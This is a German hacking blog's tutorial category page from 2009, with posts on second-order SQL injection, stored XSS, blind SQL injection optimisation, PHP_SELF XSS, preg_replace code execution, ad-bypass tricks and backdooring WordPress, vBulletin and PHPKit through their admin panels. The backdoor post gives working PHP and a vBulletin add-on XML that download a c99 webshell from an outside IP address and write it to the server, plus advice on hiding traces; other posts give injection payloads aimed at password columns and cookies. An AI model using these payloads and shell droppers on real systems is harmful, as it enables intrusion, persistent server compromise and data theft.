Kategorie ‘Text Tutorials’

Second Order Vulnerabilities

2. Juli 2009

Second Order Vulnerabilities

Manchmal lassen sich Lücken nicht so einfach ausnutzen und man sucht nach einer
Lösung, wie es funktionieren könnte.
Oder man entdeckt eine Lücke, könnte diese aber viel effizienter anwenden,
als es zunächst den Anschein hat.

Wir sprechen hier von sogenannten “Second Order” Attacken,
“second” deswegen, da sie zunächst recht unauffällig wirken,
aber ebenso beim “zweiten” Blick verheerende Folgen haben können.

Angriffe zweiter Ordnung sind nicht auf eine Art von Lücke beschränkt,
sondern können überall auftreten, wo sich Content in die Seite integrieren lässt.

Die zwei prominentesten Beispiele sind hier, wie so oft, SQL Injection und XSS.

1. Second Order SQL Injection

Die Fehlerausgabe ist groß, man ist sich sicher, jeden Moment die Ausgabe vor sich zu haben,
doch scheint sich die Injection zur Blind Injection zu wandeln.
Die Erkenntnis kommt schnell: Das ist gar kein SELECT Query, es ist ein INSERT Query.

Doch dies ist kein großes Hindernis, man muss nur wissen, wie es funktioniert und
das Query bauen wird einfach.

Schauen wir uns also folgenden Quellcode an:

<html>
 
<form action="" method="POST">
<input type="name" name="name"><br>
<input type="text" name="text"><br>
<input type="submit" value="Eintragen">
</form>
 
</html>
 
<?php
 
$host="localhost";
$user="root";
$pass="";
$db="test";
 
$name = $_POST['name'];
$text = $_POST['text'];
 
if(isset($_POST['text'])) {
mysql_connect($host,$user,$pass);
mysql_select_db($db);
 
$query = "INSERT INTO test (`name`,`text`) VALUES ('".$name."','".$text."')";
$query2 = "SELECT `name`,`text` FROM test ORDER BY `id` DESC LIMIT 0,1";
$res1 = mysql_query($query) or die(mysql_error());
$res2 = mysql_query($query2) or die(mysql_error());
$output = mysql_fetch_array($res2);
 
echo "<br>Name: $output[0]<br>Text: $output[1]<br>";
}
 
?>

Augenscheinlich wird vom Nutzer eine Eingabe verlangt, nämlich Name und Text.
Dieses wird beides mttels INSERT Query in die Datenbank eingetragen.
Anschließend wird mit einem SELECT Query der hinterste Eintrag ausgegeben.

Da wir beim INSERT Query also keine Ausgabe bekommen, können wir uns das zweite SELECT Query zu nutze machen,
was den Inhalt ausgibt. Wir fügen also zuerst unseren gewünschten Content ein, und lassen diesen dann ausgeben.

Da zwei Strings eingelesen werden, die im Query mit Hochkommas umschlossen sind,
muss magic_quotes_gpc ausgeschaltet sein.

Es gibt hier mehrere Möglichkeiten, das ganze auszunutzen.

Möglichkeit 1 – Ein Eintrag in “name” und “text”

Möchte man “name” und “text” jeweils einmal verwenden, kann man folgendes probieren.

Name: test ',(Select version())) ; -- a
Text:

nach dem Wort “test” wird die erste Spalte durch das Hochkomma finalisiert.
Die Einträge separiert man mit einem Komma, und anschließend folgt unser gewünschter Inhalt.
Dieser ist in diesem Fall die MySQL Version. Da wir vom VALUES Statement jedoch noch eine
offene Klammer haben, muss auch diese am Ende geschlossen werden.
Aus dem PHP Code erkennen wir, dass das Skript versuchen müsste noch ein ‘) anzuhängen.
Um das zu verhindern kommentieren wir den Rest einfach aus.
Das “a” an Ende dient lediglich dazu, das Space hinter den beiden Minuszeichen mit
zu berücksichten, welches in manchen Fällen nicht mit einbezogen wird.

Die Ausgabe durch das SELECT Query wäre:

Name: test
Text: 5.1.30-community

Man erhält also das gewünschte Ergebnis, wenn auch einen Schritt später, als man gewohnt ist.

Möglichkeit 2 – Zwei Einträge in “name” und “text”

Das Escapen am Ende kann man sich auch sparen, wenn man es eilig hat, und einfach
zwei Einträge erstellen. Dazu öffnet man am Ende einfach wieder eine Klammerung mit
zwei weiteren Werten für “name” und “text”.

Eine Eingabemöglichkeit wäre also:

Name: Test
Text: Test'),((select version()),'Test

der erste Eintrag wäre also

Name: Test
Text: Test

und der zweite

Name: SELECT version()
Text: Test

Auch hier erzielt man den gewünschten Erfolg.

Manchmal erkennt man nicht auf den ersten Blick, wieviele Columns tatsächlich geschrieben werden, und
wieviele man überspringen muss.

Da PHP jedoch einen Fehler ausspuckt, wenn man eine andere Menge an Einträgen schreibt, wie vorgegeben
erstellt man einfach Columns, bis der Fehler nicht mehr erscheint.

Test1 – 1 Column:

Name: test') ; -- a
Text:

Query:
INSERT INTO test (`name`,`text`) VALUES ('test') ; -- a ','')

Es wird versucht einen einzelnen Wert zu schreiben, wo eigentlich zwei stehen müssten.

Ausgabe:
Column count doesn't match value count at row 1

Test2 – 2 Columns

Name: test','test') ; -- a
Text:

Query:
INSERT INTO test (`name`,`text`) VALUES ('test','test') ; -- a ','')

Es tritt kein Fehler auf, Anzahl der Spalten passt hier.

Achtung:

Durch das Einfügen ist die Ausgabe natürlich auch für jeden sichtbar der die Seite besucht (z.B. wenn es
sich um ein Gästebuch handelt)

Vielleicht ist es aber auch gerade gewollt, dass jeder auf die Injection zugreift und da kommt die
nächste Second Order Attacke ins Spiel:

2. Second Order XSS

Wer kennt es nicht … XSS-Link zusammenbasteln, an hochrangige Personen schicken und auf Ergebnisse hoffen -> Öde

Second Order XSS bringen etwas Schwung in den eingestaubten Prozess.
Im Grunde ist das Prinzip wie bei den S.O. SQL Injections, man speichert den Payload ab, um im zweiten
Prozesschritt ein Ergebnis zu erhalten.

Speichert man z.b. folgenden Code auf einer Website, die JavaScript unterstützt, ab …
<script>alert("NovuSec.com");</script>
… wird er bei jedem Besucher, der die Seite betritt ausgeführt und das ist eindeutig spannender
als eine First Order XSS. Bei professionellem Vorgehen ist die Attacke hier schwerer herauszufinden
und trifft mehr User, sofern man das möchte.

Das Einfügen kann auf unterschiedlichste Weisen erfolgen, ob über das ACP oder eventuell sogar über
einen Cache Poisoning Angriff mittels HTTP Response Splitting.

Besonders interessant wäre es natürlich beide vorgestellten Methoden einfach zu kombinieren, und über
eine SQL Injection im INSERT INTO Query einen XSS Payload einzuschleusen.

Mehr Infos gibt es im passenden “SQLXSS” Artikel, der hier auch zu finden ist.

Lidloses_Auge SQL Injections, Text Tutorials, XSS

Webspace Werbung Bypass

28. Mai 2009

. [ Show ] in English

Viele kennen mit sicherheit das Problem: Super FreeWebspace gefunden, mit allem was man braucht, nur wird immer eine lässtige Werbung eingeblendet.
Hier möchte ich Euch nun Möglichkeiten vorstellen, wie man diese Werbung umgehen/bypassen kann.

Methode 1:
Eine Variante ist es, dass das Werbescript den HTML oder BODY Tag sucht und dahinter die Werbung einfügt.
Dabei reicht es, wenn man auf seiner homepage das </body> und/oder </html> entfernt.
Nun kann das Werbescipt die Tags nicht mehr finden und kann daher auch nicht die Werbung einfügen.

Methode 2:
Manche Werbescript suchen einfach das Ende der Homepage und fügen dort die Werbung ein.
Bei der Variante reicht es aus, wenn man nach dem Tag folgendes einfügt: <!--
Damit leitet man in HTML ein Kommentar ein bis man es mit --!>
schließt. Da wir die Kommentierung nicht schließen, wird alles danach auskommentiert und auch nicht dargestellt. Somit wird auch die Werbung ausgeblendet.

Methode 3:
Wenn keine der oben erwähnten Methoden funktioniert, kann man manchmal die Werbung auch mit CSS ausblenden.
Wenn die Werbung z.B. in DIV-Tags dargestellt wird und eine ID hat, kann man die DIV-Box mit CSS ausblenden.
Manche hoster stellen am ende einfach ein Bild dar, dieses kann man auch mit CSS durch ein leeres ersetzen.
Da es von Werbung zu Werbung unterschiedlich ist, kann man auch kein fertiges Script anbieten.
Wenn jemand bei dieser Methode hilfe braucht, kann ich gerne helfen.

VORSICHT:
Die Anbieter haben das gute Recht mit Werbung ihr Geld zu verdienen, daher ist es in fast allen Fällen verboten die Werbung auszublenden. Wenn der Webmaster es herrausfindet werdet Ihr warscheinlich vom Webspace gekickt.

Player Sonstiges, Text Tutorials

PHP Easter Egg sinnvoll nutzen

16. Mai 2009

. [ Show ] in English

Wenn man folgenden Code

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

an eine Homepage hängt und eine Index.php vorhanden ist, wird ein PHP Logo dargestellt.
z.B.

http://novusec.com/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Wie man sehen kann, wird das PHP Logo dargestellt.
Wenn jedoch keine Index.php vorhanden ist, wird auch kein PHP Logo dargestellt.

Wie können wir dieses Easter Egg nun Sinnvoll nutzen?
Auf manchen Homepages werden durch den Mod-Rewrite die Dateiendungen verschleiert. Sprich, man kann nicht mehr erkennen ob es sich um eine HTML-Dateien oder doch um eine PHP-Datei handelt.
Wenn wir nun den Code an die Homepage anhängen und das PHP-Logo erzeugt wird, wissen wir, dass es sich um PHP handelt.

Player PHP, Text Tutorials

Backdoor CMS/Board via ACP

8. Mai 2009

. [ Show ] in English

Hier möchte ich euch gerne Möglichkeiten vorstellen, wie man unterschiendliche CMS/Boards Backdooren (PHP-Shell uploaden) kann.
Die Möglichkeiten setzen vorraus, dass man sich als Administrator einloggen kann.

[+] Wordpress
Im Admin-Panel wechselt Ihr zu den Menüpunkt “Plugins”. Dort sucht Ihr ein Plugin, dass bereits aktiviert wurde und geht dort auf “Bearbeiten”.
Nun gibt es 2 Möglichkeiten:
1) Ihr schreibt in das Plugin den kompletten Quellcode eurer Shell rein und ruft die Datei wie folgt auf:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

Nachteil bei der Variante ist, dass das Plugin anschließen nicht funktioniert und es zu Fehlermeldungen kommen könnte.
2) An oberster Stelle des Plugins schreibt Ihr folgenden Code und speichert das Plugin ab:

1
2
3
4
5
6
7
<?php
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("Sh3ll.php","w+");
fwrite($fp, $code);
fclose($fp);
?>

Wenn Ihr nun das Plugin über den Browser aufruft:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

wird in den Ordner des Plugins automatisch die Datei mit eurer Shell gedropped. Diese könnt Ihr dann wie folgt aufrufen:

http://site.de/wp-content/plugins/plugin-name/Sh3ll.php

Nun dürft Ihr nicht vergessen, den Code Schnippsel aus den Plugin wieder zu entfernen,
da sonst immer wieder versucht wird die Shell zu erstellen und dadurch wieder unnötige Fehlermeldungen entstehen könnten.

[+] vBulletin
Ihr geht im Admin-Panel auf “Add-ons & Plug-ins” > “Add-ons verwalten” > “[Add-on hinzufügen/importieren]“.
Jetzt erstellt Ihr auf Euren PC eine XML-Datei (z.b. shell.xml) und schreibt folgenden Inhalt rein:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="ISO-8859-1"?>
<product productid="shell" active="1">
<title>vBulletin</title>
<codes>
<code version="2.0">
<installcode><![CDATA[
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("includes/Sh3ll.php","a+");
fwrite($fp, $code);
fclose($fp);]]></installcode>
</code>
</codes>
</product>

Diese Datei Importiert Ihr nun über den entsprechenden Menüpunkt.
Wenn das Add on fertig installiert wurde, findet Ihr eure Shell unter der URL:

http://site.de/includes/Sh3ll.php

Um eure Spuren nun zu verschleiern, könnt Ihr das Addon wieder löschen, unter:
“Add-ons & Plug-ins” > “Add-ons verwalten”

[+] PHPKit
Über das Admin-Panel auf
“Inhalte” > “Inhalt verfassen” > “Download hinzufügen” > {beliebig} > “Download suchen / hinzufügen” > {Shell Uploaden}
Das wars auch.
Nun könnte Ihr die Shell über den Link http://site.de/content/download/shell.php aufrufen

Um euch nun vor solchen “Angriffen” zu schützen, reicht es aus, wenn Ihr das Admin-Panel per htaccess schützt.

Demnächst werden noch mehr möglichkeiten folgen.

Player Sonstiges, Text Tutorials

Optimierung von Blind SQL Injections

26. April 2009

. [ Show ] in English

Blind Injections treffen nicht immer auf Anklang, weil man sich selbst einer umständlichen Feinarbeit ausgesetzt sieht, die lange dauert und nervenaufreibend ist.
Doch gibt es ein paar Kniffe, die die Arbeit erleichtern können.

A) Zeit

“Zeit ist Geld”, das gilt in fast allen Bereichen,
und bei Blind SQL Injections ist dies besonders wichtig,
wenn es darum geht, große Datenmengen zu extrahieren.

Es geht also zunächst darum, für einen Datensatz in der
Datenbank ..

1. Möglichst wenig Zeit aufzuwenden
und
2. Mit möglichst wenigen Requests an Infos gelangen.

Beide Ziele sind selbstverständlich eng miteinander verzahnt,
und so gibt es einige Kriterien, die ihren Teil zum Faktor
“Zeit” beitragen.
Diese sind beispielsweise:

1. Antwortzeit des Servers
2. Zu Übertragendes Datenvolumen
3. Wertebereich der zu testenden ASCII Zeichen (=> Anzahl Requests)

Ändern lässt sich die Antwortzeit des Servers nicht aktiv,
doch obliegt es unseren Möglichkeiten, die Datenvolumina zu
begrenzen.
Eine triviale Methode an Infos zu gelangen ist die unoptimierte
Content-Change Methode, die nicht unbedingt schlecht ist, doch
erst in optimierter Form zufriedenstellende Leistungen erbringt.

Ein Beispiel wie wir es kennen, wäre:

1
index.php?id=1+and+if((select+ascii(substr(password,1,1))+from+users+limit+0,1)>100,null,1)=1/*

Da es aber in diesem Falle schwierig sein kann, ein passendes Suchmuster zu finden, setzen wir für
die true Bedingung ein kleines Subquery ein, welches mehere Rows zurückgeben soll.
Da dies in einem Subquery nicht möglich ist, wird sich bei angeschaltetem display_errors
gleich die Fehlermeldung “Subquery returns more than 1 row” zeigen, und wir haben unser Suchmuster.
Dies hat oft den Vorteil, dass das Skript direkt mit die() abgebrochen wird, und der Fehler schwarz auf weiß
als einziger Content auf der Seite zu finden ist.
Dies ist aber nur manchmal der Fall, und dies vermindert die Ladezeit deutlich.
Ein Beispiel dafür könnte dann so aussehen:

1
index.php?id=1+and+if((select+ascii(substr(password,1,1))+from+users+limit+0,1)>100,(select+1+union+select+2),1)=1/*

Der Suchstring, sollte nun in den meisten Fällen vorhanden sein, und wenn wir Glück haben,
ist auch der Content der Seite bei “true” reduziert worden.
Jetzt gilt es selbstverständlich die Anzahl der Requests zu reduzieren.

Eine gängige Methode um die Zeichen zu bestimmen, ist selbstverständlich die,
mit den Operatoren < und > sich den den ASCII Wert des Zeichen hinanzupirschen.

Wie man diese Methode letztendlich umsetzt sei jedem selbst überlassen, doch wäre es nicht ratsam,
alle Zeichen von beispielsweise 48 bis 122 einzeln durchzutesten – wäre auch unsinnig, denn mit
Hilfe der < > Operatoren, ist es sinnvoll, die Abstände immer zu halbieren:

1
Wenn Zeichen größer 85, teste:
1
Wenn Zeichen größer 103 teste:

etc.

könnte man auch durchaus rekursiv lösen.

Bei sehr großen Wertebereichen, z.b. Inhalte, in denen alle Zeichen
vorkommen dürfen, gibt es aber noch eine weitere Möglichkeit, die nicht immer
zwingend weniger Requests mit sich bringt, auf große Distanzen aber eine große
Absicherung mit sich bringt.
Möchte man den Wertebereich von 32 – 126 prüfen, und unser Zeichen ist zufällig ein
“B” müssen wir so viele Requests starten, bis wir beim Zeichencode 66 angelangt sind.
Wieviele requests dies bedeutet, hängt von unserem Code ab.
Casten wir die 66 aber zu einer Binärzahl, haben wir eine fixe Anzahl an Zeichen:
1000010
Hier müssen wir zwar 7 Requests starten, doch reicht es hier aus, nur einen Zustand zu testen:

“Ist der Wert nicht 1, dann muss er 0 sein.”
“Ist der Wert nicht 0, dann muss er 1 sein.”

7 Requests bei einem Zeichen, kann eine Verbesserung sein, aber durchaus auch eine Verschlechterung,
dies hängt wie bereits genannt vom Programmierstil ab.

Testen wir es anhand eines fiktiven MD5 Hashes:

3295c76acbf4ca8ed33c36b1b5fc2cb1

Die Zeichen a-f0-9 sind zu testen.

0 -> 110000
9 -> 111001
a -> 1100001
f -> 1100110

Wir sehen, dass die Buchstaben ein Request mehr beanspruchen.
In unserem Hash finden wir zufällig, 16 Buchstaben und 16 Zahlen.
Sofern wir wissen, dass es sich um einen MD5 handelt, und demsptsprechend
die Länge 32 Bytes ist, benötigen wir eine bestimmbare Anzahl an Requests:

(16 * 6) + (16 * 7) = 208

Ob sich dieses Verfahren bei MD5 lohnt, sei dahingestellt, sicherlich ist es
immer sinnvoller, bei größeren Wertebereichen.

B) Ablaufsteuerungsfunktionen

Das schönste Verfahren zur Zeichenbestimmung nützt einem nichts, sofern man
es nicht anwenden kann. Nicht immer trifft man mit der AND Methode auf eine Goldader,
und der Check mit and+1=1 und and+1=0 versagt, obwohl man sich der Existenz der Injection
sicher ist.
Es gibt eine weitere Möglichkeit, auf den richtigen Pfad zu kommen, mit der Kontrollstruktur “case”.
Diese besteht aus dem Fallbeispiel, also die Bedingung, durch “case” und “when” gekennzeichnet,
der darauf bei wahrer Aussage folgenden Wirkung “then” und wahlweise einem “else” Teil.

Ich stelle nun beide Versionen gegenüber, die im Grunde das gleiche bewirken:

1
index.php?id=1+and+if(1=1,(select+1+union+select+2),null)=1/*
1
index.php?id=1+and+case+when+(1=1)+then+(select+1+union+select+2)+else+null+end/*

Dies kann man selbstverständlich kombinieren, mit bereits genannten Verfahren zur Zeichenbestimmung.

——–

Viel Spaß und neue Erkenntnisse wünscht
Lidloses_Auge

Lidloses_Auge SQL Injections, Text Tutorials

PHP_SELF

22. April 2009

. [ Show ] in English

[+] Einleitung
Ich möchte euch heute gerne die Gefahren und Gegenmaßnahmen von php_self erläutern.

[+] Was ist PHP_SELF?
php_self ist eine globale Variable, die den aktuellen Ordner und die Datei des Scriptes ausgibt.
Aufgerufen wird es wie folgt:

1
echo $_SERVER['PHP_SELF'];

[+] Anwendungsmöglichkeiten
php_self wird meistens in Formen verwendet um einen Request an das aufgerufene Script zu senden. z.B:

1
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">

bei den Seitenaufruf: http://site.de/login.php
sieht die Ausgabe wie folgt aus:

1
<form method="post" action="/login.php">

[+] Angriff
Wie man sich an dieser Stelle denken kann, ist es möglich HTML/Javascript auszuführen.
Die frage ist nur wie?
einen Parameter können wir nicht dranhängen, denn es werden nur Ordner und der Dateiname ausgegeben,
daher müssen wir hinter login.php ein Slash einfügen um zu Simulieren, dass es ein Ordner ist.
Danach den Tag schließen und anschließen kann man HTML/Javascript ausführen.
Der Aufruf sieht dann so aus:
http://site.de/login.php/">< script>alert(document.cookie)

[+] Schutz

1
<form method="post" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>">

Durch die Funktion htmlentities werden alle Eingaben in HTML Code umgewandelt,
daher ist es nicht mehr möglich fremden Code auszuführen

Player PHP, Text Tutorials, XSS

Exploiten von preg_replace – RegEx Injection – Remote Code Execution

19. April 2009

. [ Show ] in English

Code Executions gehören seit Jahren zu den am weit verbreitesten
Sicherheitslücken in Web-Applikationen.
Sie tummeln sich dort, wo Befehle wie “eval”, “system”, “passthrough”
etc. in einem unsicheren Kontext verwendet werden, und dem User die volle
Kontrolle über den Server ermöglichen, sofern er denn seine Möglichkeiten
auszuschöpfen weiß.
Doch Code Executions sind in weitaus mehr Fällen möglich, als man zunächst
annehmen könnte.
Ein interessantes Beispiel dessen ist die PHP Funktion “preg_replace”.

Im Grunde ist es eigentlich nur zum substituieren von bestimmten Strings
gedacht, indem man per RegEx Suchmuster(PCRE = Perl compatible regular expression)
einen bestimmten String durch einen anderen ersetzt.
Ein Beispiel dessen wäre:

1
echo preg_replace('/Perl/','C++','Als nächstes lerne ich Perl');

Der String ‘Als nächstes lerne ich Perl’ wird per RegEx Suchmuster nach ‘Perl’
durchsucht, und mit dem Replacement ‘C++’ ersetzt.
->

1
Als nächstes lerne ich C++

Dies mag einen zunächst sehr sicher vorkommen, was es in diesem Fall auch ist,
doch besitzt die preg_replace Funktion eine Reihe von Optionen, die wir uns nun
näher anschauen möchten.

Einen Parameter, kennt man bereits aus Perl. Dies ist der “e” Modifizierer,
mit dessen Hilfe man Perl Code direkt in der Kommandoleiste ausführen kann,
wenn man den gewünschten Code mitsamt der “-e” Option übergibt.
Einen ganz ähnlichen Effekt hat der e Modifizierer in der PHP eigenen preg_replace
Funktion. Das Replacement wird dadurch als PHP Code interpretiert und wird, bei
korrekter Syntax, zur Ausführung kommen.

Ein Beispiel für einen Aufruf mit e Modifizierer:

1
echo preg_replace('/.*/e','strtoupper("$0")','Ein Test der Methode');

Zunächst erkennen wir das gewohnte Schema…
Der String ‘Ein Test der Methode’ wird durch ’strtoupper(“Ein Test der Methode”)’
ersetzt. Ansich ist das nichts besonderes, doch die Option e evaluiert diesen String
nun, sodass wir folgende Ausgabe erhalten:

->

1
EIN TEST DER METHODE

Man sollte meinen, es sei nun ein leichtes, eigenen PHP Code einzuschleusen,
und testet es zunächst wie folgt:

1
echo preg_replace('/.*/e','strtoupper("$0")','phpinfo()');

Der e Modifizierer sollte seine gewohnte Arbeit erledigen, doch die Ausgabe spricht
eine andere Sprache…

->

1
PHPINFO()

Tatsächlich ist es so, dass man mittels der Curly Brackets Notation, den String eingrenzen
muss, was in der Praxis dann wie folgt aussehen könnte.

1
<?php echo ${phpinfo()}; ?>

Beim ausführen dieses Code Schnipsels bemerken wir, dass diese Notation fehlerfrei ist,
doch setzen wir dies nun in unsere Funktion ein geschieht folgendes:

1
echo preg_replace('/.*/e','strtoupper("$0")','${phpinfo()}');

->

1
2
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: 
   Failed evaluating code: strtoupper(&quot;${phpinfo()}&quot;) in C:\xampp\htdocs\exec.php on line 13

Durch das Parsen des Strings kommt es offenbar zu unerwünschten Ersetzungen, sodass diese Notation
nicht fehlerfrei evaluiert werden kann.
Abhilfe schafft man mit einem kleinen Bypass, indem man um den String jeweils noch geschweifte Klammern
setzt.

1
echo preg_replace('/.*/e','strtoupper("$0")','{${phpinfo()}}');

Die Ausgabe bestätigt, dass das Ausnutzen der Lücke erfolgreich war,
es bedurfte nur der “complex syntax” in PHP und einem kleinen Bypass.

Viel Spaß
Lidloses_Auge

Lidloses_Auge RFI/ LFI, Text Tutorials